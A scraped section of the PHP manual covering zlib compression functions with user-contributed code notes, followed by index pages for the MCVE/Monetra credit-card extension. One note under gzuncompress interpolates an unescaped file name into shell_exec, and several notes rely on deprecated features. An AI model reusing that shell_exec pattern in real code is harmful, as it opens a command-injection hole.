
Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gzseek() - Seek on a gz-file pointer
  • gztell() - Tell gz-file pointer read/write position

User Contributed Notes

There are no user contributed notes for this page.


Seek on a gz-file pointer

  • « gzrewind
  • gztell »
  • PHP Manual
  • Zlib Functions
  • Seek on a gz-file pointer

gzseek

(PHP 4, PHP 5)

gzseek — Seek on a gz-file pointer

Description

int gzseek ( resource $zp , int $offset [, int $whence = SEEK_SET ] )

Sets the file position indicator for the given file pointer to the given offset byte into the file stream. Equivalent to calling (in C) gzseek(zp, offset, SEEK_SET).

If the file is opened for reading, this function is emulated but can be extremely slow. If the file is opened for writing, only forward seeks are supported; gzseek() then compresses a sequence of zeroes up to the new starting position.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

offset

The seeked offset.

whence

whence values are:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.

If whence is not specified, it is assumed to be SEEK_SET.

Return Values

Upon success, returns 0; otherwise, returns -1. Note that seeking past EOF is not considered an error.

Examples

Example #1 gzseek() example

<?php
$gz = gzopen('somefile.gz', 'r');
gzseek($gz,2);
echo gzgetc($gz);
gzclose($gz);
?>

See Also

  • gztell() - Tell gz-file pointer read/write position
  • gzrewind() - Rewind the position of a gz-file pointer

User Contributed Notes

liuhaifeng at example dot com 15-Oct-2012 02:43
Since seek after the end is not considered an error, I doubt that "while (gzseek ($fh, $eof) == 0) $eof += $d;" will get into infinite loop.
dperham at wgate dot com 12-Apr-2005 05:47
PHP/4.3.9
contrary to the notes, gzseek() returns -1 if I try to seek past the end of the file.  here is a function that will return the last seekable position, and put the file pointer there.

/** sets the file pointer at the end of the file
 *  and returns the number of bytes in the file.
 */
function gzend($fh)
{
   $d   = 1<<14;
   $eof = $d;
   while ( gzseek($fh, $eof) == 0 ) $eof += $d;
   while ( $d > 1 )
   {
      $d >>= 1;
      $eof += $d * (gzseek($fh, $eof)? -1 : 1);
   }
   return $eof;
}


Tell gz-file pointer read/write position

  • « gzseek
  • gzuncompress »
  • PHP Manual
  • Zlib Functions
  • Tell gz-file pointer read/write position

gztell

(PHP 4, PHP 5)

gztell — Tell gz-file pointer read/write position

Description

int gztell ( resource $zp )

Gets the position of the given file pointer; i.e., its offset into the uncompressed file stream.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

The position of the file pointer or FALSE if an error occurs.

See Also

  • gzopen() - Open gz-file
  • gzseek() - Seek on a gz-file pointer
  • gzrewind() - Rewind the position of a gz-file pointer

User Contributed Notes

Steve Ramage 18-Dec-2006 07:09
ok so this function returns the gz file pointer as the uncompressed data byte length so if you are trying to put something in to specific size gzip files it won't work.

Example:

<?
//some_file.sql  filesize = 2,048,000 bytes

$text_fp=fopen('some_file.sql','r');
$gz_fp=gzopen('some_file.sql.gz','wb9');
while(!feof($text_fp)){
    gzwrite($gz_fp,fread($text_fp,655360));
}
fclose($text_fp);
echo "gztell = ".gztell($gz_fp)."<BR>\n";
gzclose($gz_fp);
echo "filesize = ".filesize('some_file.sql.gz')."<BR>\n";
?>

Output:

gztell = 2048000
filesize = 249264

I will report this as a bug but post a note here for now


Uncompress a compressed string

  • « gztell
  • gzwrite »
  • PHP Manual
  • Zlib Functions
  • Uncompress a compressed string

gzuncompress

(PHP 4 >= 4.0.1, PHP 5)

gzuncompress — Uncompress a compressed string

Description

string gzuncompress ( string $data [, int $length = 0 ] )

This function uncompress a compressed string.

Parameters

data

The data compressed by gzcompress().

length

The maximum length of data to decode.

Return Values

The original uncompressed data or FALSE on error.

The function will return an error if the uncompressed data is more than 32768 times the length of the compressed input data or more than the optional parameter length.

Examples

Example #1 gzuncompress() example

<?php
$compressed   = gzcompress('Compress me', 9);
$uncompressed = gzuncompress($compressed);
echo $uncompressed;
?>

See Also

  • gzcompress() - Compress a string
  • gzinflate() - Inflate a deflated string
  • gzdeflate() - Deflate a string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

anonymous at dekho-ji dot com 16-May-2013 08:38
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
MagicalTux at php dot net 31-Dec-2010 10:36
Hi, I got an alternative for those zipped strings that gzuncompress() cannot extract.

It is a bit better than previous options as it do not create any temporary files, but it has to encode the string in base64, meaning it won't be as fast as a native equivalent (which is probably going to be gzdecode())

<?php
if (!function_exists('gzdecode')) {
    function gzdecode($string) { // no support for 2nd argument
        return file_get_contents('compress.zlib://data:who/cares;base64,'. base64_encode($string));
    }
}
?>
squeegee 24-Aug-2009 04:07
One way to uncompress zlib-compressed data that is in a file without first reading in the file and then gzuncompressing it (maybe you have memory problems doing it that way) is to compile the zpipe.c program from zlib ( http://www.zlib.net/zpipe.c )...

on linux, etc:

# gcc -lz -o zpipe zpipe.c

# cp zpipe /usr/local/bin

Then do this

<?php

$uncompressed = shell_exec("cat $compressed_file | zpipe -d");

?>
heavyccasey at gmail dot com 08-Nov-2007 05:30
Note that gzuncompress() may not decompress some compressed strings and return a Data Error.

The problem could be that the outside compressed string has a CRC32 checksum at the end of the file instead of Adler-32, like PHP expects.

Workaround:
<?php
    function gzuncompress_crc32($data) {
         $f = tempnam('/tmp', 'gz_fix');
         file_put_contents($f, "\x1f\x8b\x08\x00\x00\x00\x00\x00" . $data);
         return file_get_contents('compress.zlib://' . $f);
    }
?>
gabriel at bumpt dot n-et 18-Sep-2007 12:08
To uncompress in PHP a string that has been compressed using MySQL's COMPRESS() function, you need to discard the first four bytes of the binary data:

<?php

  /*
   * Example:
   *
   * insert into mytable (myfield, ...) values (COMPRESS('foobar'), ...)
   *
   * then:
   */
$compressed = //...select myfield from mytable where...
  /*
   * then:
   */
$uncompressed = gzuncompress(substr($compressed, 4));
?>

Of course, you can use MySQL's UNCOMPRESS() function.
I was just providing an alternate method.
emanuele at fondani dot it 25-Nov-2006 12:21
Note that the manual states that the input parameter must be a string compressed with gzcompress(), so it is not guaranteed that it will compress ANY zlib compressed string.
I realized this while decompressing some compressed string in a pdf file. The gzuncompress() function produces a data error, but the string can be successfully decompressed with other zlib decompressors.

More info here:
http://bugs.php.net/?id=39616
chappy at citromail dot hu 13-Apr-2006 04:47
Reading an ID3v2.3+ tag it is versy useful, because these tag's frames might be compressed. Zlib compressed frame layout (ID3v2.3):

Descriptior                                                    Size
-------------------
Frameheader:
Frame id:                                                      4 bytes
Frame size (full frame size - frameheader size): 4 bytes
Frame flags:                                                  2 bytes
    The 2nd byte's 7th bit must be 1 (e.g.: %1xy00000)
Frame content decrompessed size:                   4 bytes
--------------------
Framecontent:
Compressed string                                          described in 'frame size'

<?php
$frame="[read from a mp3 file]";
$frame_id=substr($frame,0,4);
/*....*/
$cs=substr($frame,10,4);
$checksize=$cs[3]*16777216+$cs[2]*65536+$cs[1]*256+$cs[0];

$content=substr($frame,14,$contentsize);
$content=gzuncompress($content);
if(strlen($content)!=$checksize){
    echo 'Error whil uncrompessing frame data<br>';
}
echo $content;
?>


Binary-safe gz-file write

  • « gzuncompress
  • readgzfile »
  • PHP Manual
  • Zlib Functions
  • Binary-safe gz-file write

gzwrite

(PHP 4, PHP 5)

gzwrite — Binary-safe gz-file write

Description

int gzwrite ( resource $zp , string $string [, int $length ] )

gzwrite() writes the contents of string to the given gz-file.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

string

The string to write.

length

The number of uncompressed bytes to write. If supplied, writing will stop after length (uncompressed) bytes have been written or the end of string is reached, whichever comes first.

Note:

Note that if the length argument is given, then the magic_quotes_runtime configuration option will be ignored and no slashes will be stripped from string.

Return Values

Returns the number of (uncompressed) bytes written to the given gz-file stream.

Examples

Example #1 gzwrite() example

<?php
$string = 'Some information to compress';
$gz = gzopen('somefile.gz','w9');
gzwrite($gz, $string);
gzclose($gz);
?>

See Also

  • gzread() - Binary-safe gz-file read
  • gzopen() - Open gz-file

User Contributed Notes

Take Heed 07-Nov-2010 09:50
Read the description of gzwrite() very carefully.  If the 'length' option is not specified, then the input data will have slashes stripped on systems where magic quotes are enabled.  This is important information to know when compressing files.

<?php
$data = fread($fp, 5000);
gzwrite($fp2, $data, strlen($data));
?>

Is the correct way to avoid issues with magic quotes.
calmarius at nospam dot atw dot hu 05-Feb-2009 05:07
gz compression is often used with tar archives. Building tar archives is quite easy. Here is a code snipplet which can be used for building tar archives before compressing them to tar.gz.

<?php

//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
// Adds file header to the tar file, it is used before adding file content.
// f: file resource (provided by eg. fopen)
// phisfn: path to file
// archfn: path to file in archive, directory names must be followed by '/'
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
function TarAddHeader($f,$phisfn,$archfn)
{
    $info=stat($phisfn);
    $ouid=sprintf("%6s ", decoct($info[4]));
    $ogid=sprintf("%6s ", decoct($info[5]));
    $omode=sprintf("%6s ", decoct(fileperms($phisfn)));
    $omtime=sprintf("%11s", decoct(filemtime($phisfn)));
    if (@is_dir($phisfn))
    {
         $type="5";
         $osize=sprintf("%11s ", decoct(0));
    }
    else
    {
         $type='';
         $osize=sprintf("%11s ", decoct(filesize($phisfn)));
         clearstatcache();
    }
    $dmajor = '';
    $dminor = '';
    $gname = '';
    $linkname = '';
    $magic = '';
    $prefix = '';
    $uname = '';
    $version = '';
    $chunkbeforeCS=pack("a100a8a8a8a12A12",$archfn, $omode, $ouid, $ogid, $osize, $omtime);
    $chunkafterCS=pack("a1a100a6a2a32a32a8a8a155a12", $type, $linkname, $magic, $version, $uname, $gname, $dmajor, $dminor ,$prefix,'');

    $checksum = 0;
    for ($i=0; $i<148; $i++) $checksum+=ord(substr($chunkbeforeCS,$i,1));
    for ($i=148; $i<156; $i++) $checksum+=ord(' ');
    for ($i=156, $j=0; $i<512; $i++, $j++)    $checksum+=ord(substr($chunkafterCS,$j,1));

    fwrite($f,$chunkbeforeCS,148);
    $checksum=sprintf("%6s ",decoct($checksum));
    $bdchecksum=pack("a8", $checksum);
    fwrite($f,$bdchecksum,8);
    fwrite($f,$chunkafterCS,356);
    return true;
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Writes file content to the tar file must be called after a TarAddHeader
// f:file resource provided by fopen
// phisfn: path to file
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarWriteContents($f,$phisfn)
{
    if (@is_dir($phisfn))
    {
        return;
    }
    else
    {
        $size=filesize($phisfn);
        $padding=$size % 512 ? 512-$size%512 : 0;
        $f2=fopen($phisfn,"rb");
        while (!feof($f2)) fwrite($f,fread($f2,1024*1024));
        $pstr=sprintf("a%d",$padding);
        fwrite($f,pack($pstr,''));
    }
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Adds 1024 byte footer at the end of the tar file
// f: file resource
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarAddFooter($f)
{
    fwrite($f,pack('a1024',''));
}

?>
repository at lamaresh dot net 03-Feb-2009 07:37
This function add a line to a .gz compressed file

<?php
function AppendLineGz($file,$string) {
    if (file_exists($file)) {
        $lines = gzfile($file);
        $lines[count($lines)] = "$string\r\n";
        $input=implode($lines);
    } else {$input="$string\r\n";}
    $gz = gzopen($file,'w9');
    gzwrite($gz, $input);
    gzclose($gz);
}
?>
Anonymous 27-Mar-2008 09:34
katzlbtjunk's method is certainly shorter, but it is unusable for anything except small files.  It would try to load the whole file into memory, then create an entire compressed copy, and only then write it to disk.  The other method given below will not exhaust memory like that.
katzlbtjunk at hotmail dot com 22-Feb-2008 08:24
How about this instead:
$s = file_get_contents('file.tar');
file_put_contents('file.tar.gz',gzencode($s,9));
Kioob 13-Aug-2003 01:30
This is a short example of use gzwrite function.
<?php
function gzcompressfile($source,$level=false){
    $dest=$source.'.gz';
    $mode='wb'.$level;
    $error=false;
    if($fp_out=gzopen($dest,$mode)){
        if($fp_in=fopen($source,'rb')){
            while(!feof($fp_in))
                gzwrite($fp_out,fread($fp_in,1024*512));
            fclose($fp_in);
            }
          else $error=true;
        gzclose($fp_out);
        }
      else $error=true;
    if($error) return false;
      else return $dest;
    }
?>

the function gzcompressfile() compress a file 'data.csv' to 'data.csv.gz'. the function return false if error, and the new file name if it's ok.


Output a gz-file

  • « gzwrite
  • zlib_decode »
  • PHP Manual
  • Zlib Functions
  • Output a gz-file

readgzfile

(PHP 4, PHP 5)

readgzfile — Output a gz-file

Description

int readgzfile ( string $filename [, int $use_include_path = 0 ] )

Reads a file, decompresses it and writes it to standard output.

readgzfile() can be used to read a file which is not in gzip format; in this case readgzfile() will directly read from the file without decompression.

Parameters

filename

The file name. This file will be opened from the filesystem and its contents written to standard output.

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

Return Values

Returns the number of (uncompressed) bytes read from the file. If an error occurs, FALSE is returned and unless the function was called as @readgzfile, an error message is printed.

See Also

  • gzpassthru() - Output all remaining data on a gz-file pointer
  • gzfile() - Read entire gz-file into an array
  • gzopen() - Open gz-file

User Contributed Notes

glennh at webadept dot net 02-Oct-2003 10:52
This is a rather simple example of usage for this function, but it does work, and it solved a problem I was using with old browsers accessing gzipped files.

<?PHP

// first we need to stop the server from sending any headers at all.
ob_start();

readgzfile("test.html.gz"); // read the file and output directly to
the browser
                                      // non compressed data from the
file

ob_end_flush(); // let the headers go//

?>

There is no need for any html formating if the source file is an HTML formated page, such as the ones I'm using are. Checking the browser version, sends either the gzip file directly, or sends the browser to a page like this, which does the work for it. Well done simple function.

My server is running PHP 4.2.2 on Linux Redhat version 9 and
Apache 2.0.40


Uncompress any raw/gzip/zlib encoded data

  • « readgzfile
  • zlib_encode »
  • PHP Manual
  • Zlib Functions
  • Uncompress any raw/gzip/zlib encoded data

zlib_decode

(PHP 5 >= 5.4.0)

zlib_decode — Uncompress any raw/gzip/zlib encoded data

Description

string zlib_decode ( string $data [, string $max_decoded_len ] )

Uncompress any raw/gzip/zlib encoded data.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

max_decoded_len

Return Values

See Also

  • zlib_encode() - Compress data with the specified encoding

User Contributed Notes

anonymous at dekho-ji dot com 17-May-2013 06:10
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.


Compress data with the specified encoding

  • « zlib_decode
  • zlib_get_coding_type »
  • PHP Manual
  • Zlib Functions
  • Compress data with the specified encoding

zlib_encode

(PHP 5 >= 5.4.0)

zlib_encode — Compress data with the specified encoding

Description

string zlib_encode ( string $data , string $encoding [, string $level = -1 ] )

Compress data with the specified encoding.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

encoding

level

Return Values

See Also

  • zlib_decode() - Uncompress any raw/gzip/zlib encoded data

User Contributed Notes

mike at technomonk.com 23-Apr-2014 10:28
Undocumented constants are:

ZLIB_ENCODING_RAW
ZLIB_ENCODING_GZIP
ZLIB_ENCODING_DEFLATE

Example code:

<?php

$in='hello world';
$enc=zlib_encode($in, ZLIB_ENCODING_DEFLATE);
echo zlib_decode($enc);
//outputs 'hello world'
?>
soywiz at gmail dot com 21-Sep-2012 05:12
RFC 1950 - zlib
RFC 1951 - raw deflate
RFC 1952 - gzip

The $encoding parameter referers to the window bits. So you can encode in several formats:

<?php

// RFC 1950 - zlib
$compressedData = zlib_encode($uncompressedData, 15);

// RFC 1951 - raw deflate
$compressedData = zlib_encode($uncompressedData, -15);

// RFC 1952 - gzip
$compressedData = zlib_encode($uncompressedData, 31);

?>


Returns the coding type used for output compression

  • « zlib_encode
  • Credit Card Processing »
  • PHP Manual
  • Zlib Functions
  • Returns the coding type used for output compression

zlib_get_coding_type

(PHP 4 >= 4.3.2, PHP 5)

zlib_get_coding_type — Returns the coding type used for output compression

Description

string zlib_get_coding_type ( void )

Returns the coding type used for output compression.

Return Values

Possible return values are gzip, deflate, or FALSE.

See Also

  • The zlib.output_compression directive

User Contributed Notes

There are no user contributed notes for this page.


Credit Card Processing

  • MCVE — MCVE (Monetra) Payment
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • MCVE Functions
  • SPPLUS — SPPLUS Payment System
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SPPLUS Functions

User Contributed Notes

There are no user contributed notes for this page.


MCVE (Monetra) Payment

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • MCVE Functions
    • m_checkstatus — Check to see if a transaction has completed
    • m_completeauthorizations — Number of complete authorizations in queue, returning an array of their identifiers
    • m_connect — Establish the connection to MCVE
    • m_connectionerror — Get a textual representation of why a connection failed
    • m_deletetrans — Delete specified transaction from MCVE_CONN structure
    • m_destroyconn — Destroy the connection and MCVE_CONN structure
    • m_destroyengine — Free memory associated with IP/SSL connectivity
    • m_getcell — Get a specific cell from a comma delimited response by column name
    • m_getcellbynum — Get a specific cell from a comma delimited response by column number
    • m_getcommadelimited — Get the RAW comma delimited data returned from MCVE
    • m_getheader — Get the name of the column in a comma-delimited response
    • m_initconn — Create and initialize an MCVE_CONN structure
    • m_initengine — Ready the client for IP/SSL Communication
    • m_iscommadelimited — Checks to see if response is comma delimited
    • m_maxconntimeout — The maximum amount of time the API will attempt a connection to MCVE
    • m_monitor — Perform communication with MCVE (send/receive data) Non-blocking
    • m_numcolumns — Number of columns returned in a comma delimited response
    • m_numrows — Number of rows returned in a comma delimited response
    • m_parsecommadelimited — Parse the comma delimited response so m_getcell, etc will work
    • m_responsekeys — Returns array of strings which represents the keys that can be used for response parameters on this transaction
    • m_responseparam — Get a custom response parameter
    • m_returnstatus — Check to see if the transaction was successful
    • m_setblocking — Set blocking/non-blocking mode for connection
    • m_setdropfile — Set the connection method to Drop-File
    • m_setip — Set the connection method to IP
    • m_setssl_cafile — Set SSL CA (Certificate Authority) file for verification of server certificate
    • m_setssl_files — Set certificate key files and certificates if server requires client certificate verification
    • m_setssl — Set the connection method to SSL
    • m_settimeout — Set maximum transaction time (per trans)
    • m_sslcert_gen_hash — Generate hash for SSL client certificate verification
    • m_transactionssent — Check to see if outgoing buffer is clear
    • m_transinqueue — Number of transactions in client-queue
    • m_transkeyval — Add key/value pair to a transaction. Replaces deprecated transparam()
    • m_transnew — Start a new transaction
    • m_transsend — Finalize and send the transaction
    • m_uwait — Wait x microsecs
    • m_validateidentifier — Whether or not to validate the passed identifier on any transaction it is passed to
    • m_verifyconnection — Set whether or not to PING upon connect to verify connection
    • m_verifysslcert — Set whether or not to verify the server ssl certificate

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions interface the MCVE (Monetra) API (libmonetra, formerly known as libmcve), allowing you to work directly with MCVE/Monetra from your PHP scripts. MCVE/Monetra is Main Street Softworks' solution to direct credit/debit/gift card processing for Linux/Unix/MacOSX/Windows ( » http://www.mainstreetsoftworks.com/ ). It lets you directly address the credit card clearing houses via your *nix box, modem and/or internet connection (bypassing the need for an additional service such as Authorize.Net or Pay Flow Pro). Using the MCVE/Monetra module for PHP, you can process credit cards directly through MCVE/Monetra via your PHP scripts. The following references will outline the process.

Note:

MCVE/Monetra is the replacement for RedHat's CCVS. They contracted with RedHat in late 2001 to migrate all existing clientele to the MCVE platform.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

The LibMonetra (formerly libmcve) library.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mcve.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

If installing without specifying the libmonetra path, PHP will attempt to look in the default LibMonetra Install location (/usr/local). If Monetra (MCVE) is in a non-standard location, run configure with: --with-mcve=$mcve_path , where $mcve_path is the path to your MCVE/Monetra installation. Please note that MCVE/Monetra support requires that $mcve_path/lib and $mcve_path/include exist, and include mcve.h or monetra.h under the include directory and libmcve.so and/or libmcve.a and/or libmonetra.so and/or libmonetra.a under the lib directory.

Since MCVE/Monetra has true server/client separation, there are no additional requirements for running PHP with MCVE support. To test your MCVE/Monetra extension in PHP, you may connect to testbox.monetra.com on port 8333 for IP, or port 8444 for SSL using the MCVE/Monetra PHP API. Use 'vitale' for your username, and 'test' for your password. Additional information about test facilities are available at » http://www.mainstreetsoftworks.com/.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a MCVE_CONN resource returned by m_initconn().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

M_PENDING (integer)
M_DONE (integer)
M_ERROR (integer)
M_FAIL (integer)
M_SUCCESS (integer)

User Contributed Notes

There are no user contributed notes for this page.


MCVE Functions

See Also

Additional documentation about MCVE/Monetra's PHP API can be found at » http://www.mainstreetsoftworks.com/documentation.html. Main Street's documentation is complete and should be the primary reference for functions.

Table of Contents

  • m_checkstatus — Check to see if a transaction has completed
  • m_completeauthorizations — Number of complete authorizations in queue, returning an array of their identifiers
  • m_connect — Establish the connection to MCVE
  • m_connectionerror — Get a textual representation of why a connection failed
  • m_deletetrans — Delete specified transaction from MCVE_CONN structure
  • m_destroyconn — Destroy the connection and MCVE_CONN structure
  • m_destroyengine — Free memory associated with IP/SSL connectivity
  • m_getcell — Get a specific cell from a comma delimited response by column name
  • m_getcellbynum — Get a specific cell from a comma delimited response by column number
  • m_getcommadelimited — Get the RAW comma delimited data returned from MCVE
  • m_getheader — Get the name of the column in a comma-delimited response
  • m_initconn — Create and initialize an MCVE_CONN structure
  • m_initengine — Ready the client for IP/SSL Communication
  • m_iscommadelimited — Checks to see if response is comma delimited
  • m_maxconntimeout — The maximum amount of time the API will attempt a connection to MCVE
  • m_monitor — Perform communication with MCVE (send/receive data) Non-blocking
  • m_numcolumns — Number of columns returned in a comma delimited response
  • m_numrows — Number of rows returned in a comma delimited response
  • m_parsecommadelimited — Parse the comma delimited response so m_getcell, etc will work
  • m_responsekeys — Returns array of strings which represents the keys that can be used for response parameters on this transaction
  • m_responseparam — Get a custom response parameter
  • m_returnstatus — Check to see if the transaction was successful
  • m_setblocking — Set blocking/non-blocking mode for connection
  • m_setdropfile — Set the connection method to Drop-File
  • m_setip — Set the connection method to IP
  • m_setssl_cafile — Set SSL CA (Certificate Authority) file for verification of server certificate
  • m_setssl_files — Set certificate key files and certificates if server requires client certificate verification
  • m_setssl — Set the connection method to SSL
  • m_settimeout — Set maximum transaction time (per trans)
  • m_sslcert_gen_hash — Generate hash for SSL client certificate verification
  • m_transactionssent — Check to see if outgoing buffer is clear
  • m_transinqueue — Number of transactions in client-queue
  • m_transkeyval — Add key/value pair to a transaction. Replaces deprecated transparam()
  • m_transnew — Start a new transaction
  • m_transsend — Finalize and send the transaction
  • m_uwait — Wait x microsecs
  • m_validateidentifier — Whether or not to validate the passed identifier on any transaction it is passed to
  • m_verifyconnection — Set whether or not to PING upon connect to verify connection
  • m_verifysslcert — Set whether or not to verify the server ssl certificate

User Contributed Notes

There are no user contributed notes for this page.


Check to see if a transaction has completed

  • « MCVE Functions
  • m_completeauthorizations »
  • PHP Manual
  • MCVE Functions
  • Check to see if a transaction has completed

m_checkstatus

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)

m_checkstatus — Check to see if a transaction has completed

Description

int m_checkstatus ( resource $conn , int $identifier )
Warning

This function is currently not documented; only its argument list is available.

Parameters

conn

An MCVE_CONN resource returned by m_initengine().

identifier

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Number of complete authorizations in queue, returning an array of their identifiers

  • « m_checkstatus
  • m_connect »
  • PHP Manual
  • MCVE Functions
  • Number of complete authorizations in queue, returning an array of their identifiers

m_completeauthorizations

(PHP 4 >= 4.3.9, PHP 5 <= 5.0.5, PECL mcve >= 1.0.0)
